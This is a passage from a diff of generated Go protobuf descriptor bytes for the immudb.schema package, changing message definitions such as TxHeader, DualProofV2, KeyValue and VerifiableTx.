0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, - 0x0a, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, - 0x65, 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, - 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, - 0x85, 0x01, 0x0a, 0x0a, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, - 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, - 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, - 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, - 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, - 0x41, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, - 0x73, 0x41, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, - 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, - 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, - 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xe3, 0x01, 0x0a, 0x0b, 0x44, 0x75, 0x61, 0x6c, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, + 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, + 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, + 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, + 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, + 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xce, 0x01, + 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, + 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, - 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, - 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, - 0x50, 0x0a, 0x0e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x04, 0x6c, 0x65, 0x61, 0x66, 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, - 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, - 0x73, 0x22, 0x92, 0x01, 0x0a, 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x29, 0x0a, 0x03, 0x4b, 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, - 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, - 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, - 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, - 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, - 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, - 0x0e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, - 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, - 0x11, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, - 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, - 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, - 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, - 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, - 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x2e, 0x0a, 0x12, 0x53, - 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x42, 0x0a, 0x0e, 0x48, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, - 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, - 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, - 0x7a, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, - 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, - 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x73, 0x12, 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, - 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, - 0x0a, 0x02, 0x64, 0x62, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, - 0x0a, 0x04, 0x74, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, - 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, - 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, - 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, - 0x72, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, - 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, - 0x0a, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, - 0x48, 0x61, 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, - 0x01, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x31, 0x0a, 0x08, 0x7a, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x94, + 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, + 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x68, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, + 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x39, + 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x65, + 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x22, 0x2a, 0x0a, + 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x65, + 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, + 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0c, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x36, 0x0a, + 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, + 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 